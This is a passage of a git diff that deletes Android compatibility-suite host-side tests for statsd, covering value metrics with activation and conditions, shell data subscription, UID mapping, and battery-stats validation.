-    uploadConfig(builder);
-
-    // Create AppBreadcrumbReported Start/Stop events.
-    doAppBreadcrumbReportedStart(1);
-    // Wait for 2 min and 1 sec to capture at least 2 buckets
-    Thread.sleep(2*60_000 + 10_000);
-    doAppBreadcrumbReportedStop(1);
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1_000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.hasValueMetrics()).isTrue();
-    StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertThat(valueData.getDataCount()).isEqualTo(1);
-
-    int bucketCount = valueData.getData(0).getBucketInfoCount();
-    // should have at least 2 buckets
-    assertThat(bucketCount).isAtLeast(2);
-    ValueMetricData data = valueData.getData(0);
-    int totalValue = 0;
-    for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
-      MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
-      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
-      totalValue += (int) bucketInfo.getValues(0).getValueLong();
-    }
-    // At most we lose one full min bucket
-    assertThat(totalValue).isGreaterThan(130_000 - 60_000);
-  }
-
-  // Test value metric with pulled atoms and across multiple buckets
-  public void testMultipleEventsPerBucket() throws Exception {
-    // Add AtomMatcher's.
-    final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
-    final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
-    final String predicateName = "APP_BREADCRUMB_REPORTED_IS_STOP";
-
-    AtomMatcher startAtomMatcher =
-            MetricsUtils.startAtomMatcher(predicateTrueName.hashCode());
-    AtomMatcher stopAtomMatcher =
-            MetricsUtils.stopAtomMatcher(predicateFalseName.hashCode());
-
-    StatsdConfig.Builder builder = createConfigBuilder();
-    builder.addAtomMatcher(startAtomMatcher);
-    builder.addAtomMatcher(stopAtomMatcher);
-    builder.addPredicate(Predicate.newBuilder()
-            .setId(predicateName.hashCode())
-            .setSimplePredicate(SimplePredicate.newBuilder()
-                    .setStart(predicateTrueName.hashCode())
-                    .setStop(predicateFalseName.hashCode())
-                    .setCountNesting(false)
-            )
-    );
-
-    final String atomName = "SYSTEM_ELAPSED_REALTIME";
-    SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
-    builder.addAtomMatcher(AtomMatcher.newBuilder()
-            .setId(atomName.hashCode())
-            .setSimpleAtomMatcher(sam));
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-            ValueMetric.newBuilder()
-                    .setId(MetricsUtils.VALUE_METRIC_ID)
-                    .setWhat(atomName.hashCode())
-                    .setBucket(TimeUnit.ONE_MINUTE)
-                    .setValueField(FieldMatcher.newBuilder()
-                            .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
-                            .addChild(FieldMatcher.newBuilder().setField(
-                                    SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
-                    .setCondition(predicateName.hashCode())
-                    .build());
-
-    // Upload config.
-    uploadConfig(builder);
-
-    final int NUM_EVENTS = 10;
-    final long GAP_INTERVAL = 10_000;
-    // Create AppBreadcrumbReported Start/Stop events.
-    for (int i = 0; i < NUM_EVENTS; i ++) {
-      doAppBreadcrumbReportedStart(1);
-      Thread.sleep(GAP_INTERVAL);
-      doAppBreadcrumbReportedStop(1);
-      Thread.sleep(GAP_INTERVAL);
-    }
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1_000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.hasValueMetrics()).isTrue();
-    StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertThat(valueData.getDataCount()).isEqualTo(1);
-
-    int bucketCount = valueData.getData(0).getBucketInfoCount();
-    // should have at least 2 buckets
-    assertThat(bucketCount).isAtLeast(2);
-    ValueMetricData data = valueData.getData(0);
-    int totalValue = 0;
-    for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
-      MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
-      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
-      totalValue += (int) bucketInfo.getValues(0).getValueLong();
-    }
-    // At most we lose one full min bucket
-    assertThat((long) totalValue).isGreaterThan(GAP_INTERVAL * NUM_EVENTS - 60_000);
-  }
-
-  // Test value metric with pulled atoms and across multiple buckets
-  public void testPullerAcrossBucketsWithActivation() throws Exception {
-    StatsdConfig.Builder builder = createConfigBuilder();
-
-    // Add AtomMatcher's.
-    int activationAtomMatcherId = 1;
-    int activationAtomMatcherLabel = 1;
-    AtomMatcher activationAtomMatcher =
-            MetricsUtils.appBreadcrumbMatcherWithLabel(
-                    activationAtomMatcherId, activationAtomMatcherLabel);
-    final String atomName = "SYSTEM_ELAPSED_REALTIME";
-    SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder()
-            .setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
-    builder.addAtomMatcher(activationAtomMatcher)
-            .addAtomMatcher(AtomMatcher.newBuilder()
-                    .setId(atomName.hashCode())
-                    .setSimpleAtomMatcher(sam));
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-            ValueMetric.newBuilder()
-                    .setId(MetricsUtils.VALUE_METRIC_ID)
-                    .setWhat(atomName.hashCode())
-                    .setBucket(TimeUnit.ONE_MINUTE)
-                    .setValueField(FieldMatcher.newBuilder()
-                            .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
-                            .addChild(FieldMatcher.newBuilder().setField(
-                                    SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
-                    .build());
-    // Add activation.
-    builder.addMetricActivation(MetricActivation.newBuilder()
-          .setMetricId(MetricsUtils.VALUE_METRIC_ID)
-          .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-          .addEventActivation(EventActivation.newBuilder()
-                  .setAtomMatcherId(activationAtomMatcherId)
-                  .setTtlSeconds(5)));
-
-
-    // Upload config.
-    uploadConfig(builder);
-
-    // Wait for 1 min and 10 sec to capture at least 1 bucket
-    Thread.sleep(60_000 + 10_000);
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1_000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.getValueMetrics().getDataList()).isEmpty();
-    // Bucket is skipped because metric is not activated.
-    assertThat(metricReport.getValueMetrics().getSkippedList()).isNotEmpty();
-    assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEventList()).isNotEmpty();
-    assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEvent(0).getDropReason())
-            .isEqualTo(BucketDropReason.NO_DATA);
-  }
-
-    public void testValueMetricWithConditionAndActivation() throws Exception {
-        final int conditionLabel = 2;
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int whatMatcherId = 8;
-        final int ttlSec = 5;
-
-        // Add AtomMatchers.
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, conditionLabel);
-        AtomMatcher activationMatcher =
-                MetricsUtils.startAtomMatcherWithLabel(
-                        activationMatcherId, activationMatcherLabel);
-        AtomMatcher whatMatcher =
-                MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
-        StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher)
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add ValueMetric.
-        builder
-                .addValueMetric(ValueMetric.newBuilder()
-                        .setId(MetricsUtils.VALUE_METRIC_ID)
-                        .setWhat(whatMatcher.getId())
-                        .setBucket(TimeUnit.ONE_MINUTE)
-                        .setCondition(predicate.getId())
-                        .setValueField(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                        )
-                        .setDimensionsInWhat(FieldMatcher.newBuilder().setField(whatMatcherId))
-                )
-                .addMetricActivation(MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.VALUE_METRIC_ID)
-                        .addEventActivation(EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)
-                        )
-                );
-
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Skipped due to unknown condition at start of bucket.
-        doAppBreadcrumbReported(10);
-        Thread.sleep(10);
-
-        // Skipped due to unknown condition at start of bucket.
-        doAppBreadcrumbReported(200);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Log an event that should not be counted because condition is false.
-        doAppBreadcrumbReported(3_000);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(40_000);
-        Thread.sleep(10);
-
-        // Condition to true again.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Event should not be counted, metric is still not active.
-        doAppBreadcrumbReported(500_000);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        //  Log an event that should be counted.
-        doAppBreadcrumbReported(6_000_000);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(70_000_000);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-        assertThat(metricReport.hasValueMetrics()).isTrue();
-        assertThat(metricReport.getIsActive()).isFalse();
-
-        StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-        assertThat(valueData.getDataCount()).isEqualTo(1);
-        assertThat(valueData.getData(0).getBucketInfoCount()).isEqualTo(1);
-        long totalValue = valueData.getData(0).getBucketInfoList().stream()
-                .peek(MetricsUtils::assertBucketTimePresent)
-                .peek(bucketInfo -> assertThat(bucketInfo.getValuesCount()).isEqualTo(1))
-                .map(bucketInfo -> bucketInfo.getValues(0))
-                .peek(value -> assertThat(value.getIndex()).isEqualTo(0))
-                .mapToLong(value -> value.getValueLong())
-                .sum();
-        assertThat(totalValue).isEqualTo(6_000_000);
-    }
-
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java b/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
deleted file mode 100644
index ba980fb..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.subscriber;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.compatibility.common.util.CpuFeatures;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.SystemUptime;
-import com.android.os.ShellConfig;
-import com.android.os.statsd.ShellDataProto;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.google.common.io.Files;
-import com.google.protobuf.InvalidProtocolBufferException;
-
-import java.io.File;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.util.Arrays;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Statsd shell data subscription test.
- */
-public class ShellSubscriberTest extends DeviceTestCase {
-    private int sizetBytes;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        sizetBytes = getSizetBytes();
-    }
-
-    public void testShellSubscription() {
-        if (sizetBytes < 0) {
-            return;
-        }
-
-        ShellConfig.ShellSubscription config = createConfig();
-        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-        startSubscription(config, receiver, /*maxTimeoutForCommandSec=*/5,
-                /*subscriptionTimeSec=*/5);
-        checkOutput(receiver);
-    }
-
-    public void testShellSubscriptionReconnect() {
-        if (sizetBytes < 0) {
-            return;
-        }
-
-        ShellConfig.ShellSubscription config = createConfig();
-        for (int i = 0; i < 5; i++) {
-            CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-            // A subscription time of -1 means that statsd will not impose a timeout on the
-            // subscription. Thus, the client will exit before statsd ends the subscription.
-            startSubscription(config, receiver, /*maxTimeoutForCommandSec=*/5,
-                    /*subscriptionTimeSec=*/-1);
-            checkOutput(receiver);
-        }
-    }
-
-    private int getSizetBytes() {
-        try {
-            ITestDevice device = getDevice();
-            if (CpuFeatures.isArm64(device)) {
-                return 8;
-            }
-            if (CpuFeatures.isArm32(device)) {
-                return 4;
-            }
-            return -1;
-        } catch (DeviceNotAvailableException e) {
-            return -1;
-        }
-    }
-
-    // Choose a pulled atom that is likely to be supported on all devices (SYSTEM_UPTIME). Testing
-    // pushed atoms is trickier because executeShellCommand() is blocking, so we cannot push a
-    // breadcrumb event while the shell subscription is running.
-    private ShellConfig.ShellSubscription createConfig() {
-        return ShellConfig.ShellSubscription.newBuilder()
-                .addPulled(ShellConfig.PulledAtomSubscription.newBuilder()
-                        .setMatcher(StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                                .setAtomId(Atom.SYSTEM_UPTIME_FIELD_NUMBER))
-                        .setFreqMillis(2000))
-                .build();
-    }
-
-    /**
-     * @param maxTimeoutForCommandSec maximum time imposed by adb that the command will run
-     * @param subscriptionTimeSec maximum time imposed by statsd that the subscription will last
-     */
-    private void startSubscription(
-            ShellConfig.ShellSubscription config,
-            CollectingByteOutputReceiver receiver,
-            int maxTimeoutForCommandSec,
-            int subscriptionTimeSec) {
-        LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
-        try {
-            File configFile = File.createTempFile("shellconfig", ".config");
-            configFile.deleteOnExit();
-            int length = config.toByteArray().length;
-            byte[] combined = new byte[sizetBytes + config.toByteArray().length];
-
-            System.arraycopy(IntToByteArrayLittleEndian(length), 0, combined, 0, sizetBytes);
-            System.arraycopy(config.toByteArray(), 0, combined, sizetBytes, length);
-
-            Files.write(combined, configFile);
-            String remotePath = "/data/local/tmp/" + configFile.getName();
-            getDevice().pushFile(configFile, remotePath);
-            LogUtil.CLog.d("waiting....................");
-
-            String cmd = String.join(" ", "cat", remotePath, "|", "cmd stats data-subscribe",
-                  String.valueOf(subscriptionTimeSec));
-
-
-            getDevice().executeShellCommand(cmd, receiver, maxTimeoutForCommandSec,
-                    /*maxTimeToOutputShellResponse=*/maxTimeoutForCommandSec, TimeUnit.SECONDS,
-                    /*retryAttempts=*/0);
-            getDevice().executeShellCommand("rm " + remotePath);
-        } catch (Exception e) {
-            fail(e.getMessage());
-        }
-    }
-
-    private byte[] IntToByteArrayLittleEndian(int length) {
-        ByteBuffer b = ByteBuffer.allocate(sizetBytes);
-        b.order(ByteOrder.LITTLE_ENDIAN);
-        b.putInt(length);
-        return b.array();
-    }
-
-    // We do not know how much data will be returned, but we can check the data format.
-    private void checkOutput(CollectingByteOutputReceiver receiver) {
-        int atomCount = 0;
-        int startIndex = 0;
-
-        byte[] output = receiver.getOutput();
-        assertThat(output.length).isGreaterThan(0);
-        while (output.length > startIndex) {
-            assertThat(output.length).isAtLeast(startIndex + sizetBytes);
-            int dataLength = readSizetFromByteArray(output, startIndex);
-            if (dataLength == 0) {
-                // We have received a heartbeat from statsd. This heartbeat isn't accompanied by any
-                // atoms so return to top of while loop.
-                startIndex += sizetBytes;
-                continue;
-            }
-            assertThat(output.length).isAtLeast(startIndex + sizetBytes + dataLength);
-
-            ShellDataProto.ShellData data = null;
-            try {
-                int dataStart = startIndex + sizetBytes;
-                int dataEnd = dataStart + dataLength;
-                data = ShellDataProto.ShellData.parseFrom(
-                        Arrays.copyOfRange(output, dataStart, dataEnd));
-            } catch (InvalidProtocolBufferException e) {
-                fail("Failed to parse proto");
-            }
-
-            assertThat(data.getAtomCount()).isEqualTo(1);
-            assertThat(data.getAtom(0).hasSystemUptime()).isTrue();
-            assertThat(data.getAtom(0).getSystemUptime().getUptimeMillis()).isGreaterThan(0L);
-            atomCount++;
-            startIndex += sizetBytes + dataLength;
-        }
-        assertThat(atomCount).isGreaterThan(0);
-    }
-
-    // Converts the bytes in range [startIndex, startIndex + sizetBytes) from a little-endian array
-    // into an integer. Even though sizetBytes could be greater than 4, we assume that the result
-    // will fit within an int.
-    private int readSizetFromByteArray(byte[] arr, int startIndex) {
-        int value = 0;
-        for (int j = 0; j < sizetBytes; j++) {
-            value += ((int) arr[j + startIndex] & 0xffL) << (8 * j);
-        }
-        return value;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
deleted file mode 100644
index 4ceefa7..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.uidmap;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.os.AtomsProto;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.UidMapping;
-import com.android.os.StatsLog.UidMapping.PackageInfoSnapshot;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-public class UidMapTests extends DeviceAtomTestCase {
-
-    // Tests that every report has at least one snapshot.
-    public void testUidSnapshotIncluded() throws Exception {
-        // There should be at least the test app installed during the test setup.
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            UidMapping uidmap = report.getUidMap();
-            assertThat(uidmap.getSnapshotsCount()).isGreaterThan(0);
-            for (PackageInfoSnapshot snapshot : uidmap.getSnapshotsList()) {
-                // There must be at least one element in each snapshot (at least one package is
-                // installed).
-                assertThat(snapshot.getPackageInfoCount()).isGreaterThan(0);
-            }
-        }
-    }
-
-    private boolean hasMatchingChange(UidMapping uidmap, int uid, boolean expectDeletion) {
-        LogUtil.CLog.d("The uid we are looking for is " + uid);
-        for (UidMapping.Change change : uidmap.getChangesList()) {
-            if (change.getAppHash() == DEVICE_SIDE_TEST_PKG_HASH && change.getUid() == uid) {
-                if (change.getDeletion() == expectDeletion) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    // Tests that delta event included during app installation.
-    public void testChangeFromInstallation() throws Exception {
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-        // Install the package after the config is sent to statsd. The uid map is not guaranteed to
-        // be updated if there's no config in statsd.
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        final String result = getDevice().installPackage(
-                buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
-
-        Thread.sleep(WAIT_TIME_LONG);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        boolean found = false;
-        int uid = getUid();
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            LogUtil.CLog.d("Got the following report: \n" + report.toString());
-            if (hasMatchingChange(report.getUidMap(), uid, false)) {
-                found = true;
-            }
-        }
-        assertThat(found).isTrue();
-    }
-
-    // We check that a re-installation gives a change event (similar to an app upgrade).
-    public void testChangeFromReinstall() throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-        // Now enable re-installation.
-        getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
-
-        Thread.sleep(WAIT_TIME_LONG);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        boolean found = false;
-        int uid = getUid();
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            LogUtil.CLog.d("Got the following report: \n" + report.toString());
-            if (hasMatchingChange(report.getUidMap(), uid, false)) {
-                found = true;
-            }
-        }
-        assertThat(found).isTrue();
-    }
-
-    public void testChangeFromUninstall() throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-        int uid = getUid();
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-
-        Thread.sleep(WAIT_TIME_LONG);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        boolean found = false;
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            LogUtil.CLog.d("Got the following report: \n" + report.toString());
-            if (hasMatchingChange(report.getUidMap(), uid, true)) {
-                found = true;
-            }
-        }
-        assertThat(found).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
deleted file mode 100644
index 125a32a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ /dev/null
@@ -1,209 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import android.os.BatteryStatsProto;
-import android.os.UidProto;
-import android.os.UidProto.Package;
-import android.os.UidProto.Package.Service;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.List;
-
-/**
- * Side-by-side comparison between statsd and batterystats.
- */
-public class BatteryStatsValidationTests extends DeviceAtomTestCase {
-
-    private static final String TAG = "Statsd.BatteryStatsValidationTests";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        resetBatteryStatus();
-        unplugDevice();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        plugInUsb();
-        super.tearDown();
-    }
-
-    /*
-    public void testConnectivityStateChange() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-        final String fileName = "BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        turnOnAirplaneMode();
-        turnOffAirplaneMode();
-        // wait for long enough for device to restore connection
-        Thread.sleep(13_000);
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertThat(countMetricData).hasSize(1);
-        assertThat(countMetricData.get(0).getBucketInfoCount()).isEqualTo(1);
-        assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isAtLeast(2L);
-        assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isEqualTo(
-                (long) batterystatsProto.getSystem().getMisc().getNumConnectivityChanges());
-    }
-    */
-
-    public void testPowerUse() throws Exception {
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-        resetBatteryStats();
-        unplugDevice();
-
-        final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.7; // ratio that statsd and bs can differ
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        unplugDevice();
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_LONG);
-
-        setAppBreadcrumbPredicate();
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        Thread.sleep(WAIT_TIME_LONG);
-        List<Atom> atomList = getGaugeMetricDataList();
-
-        // Extract statsd data
-        Atom atom = atomList.get(0);
-        long statsdPowerNas = atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs();
-        assertThat(statsdPowerNas).isGreaterThan(0L);
-
-        // Extract BatteryStats data
-        double bsPowerNas = batterystatsProto.getSystem().getPowerUseSummary().getComputedPowerMah()
-                * 1_000_000L * 3600L; /* mAh to nAs */
-        assertThat(bsPowerNas).isGreaterThan(0d);
-
-        assertThat((double) statsdPowerNas)
-                .isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * bsPowerNas);
-        assertThat(bsPowerNas).isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * statsdPowerNas);
-    }
-
-    public void testServiceStartCount() throws Exception {
-        final String fileName = "BATTERYSTATS_SERVICE_START_COUNT.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testForegroundService");
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertThat(countMetricData).isNotEmpty();
-        int uid = getUid();
-        long countFromStatsd = 0;
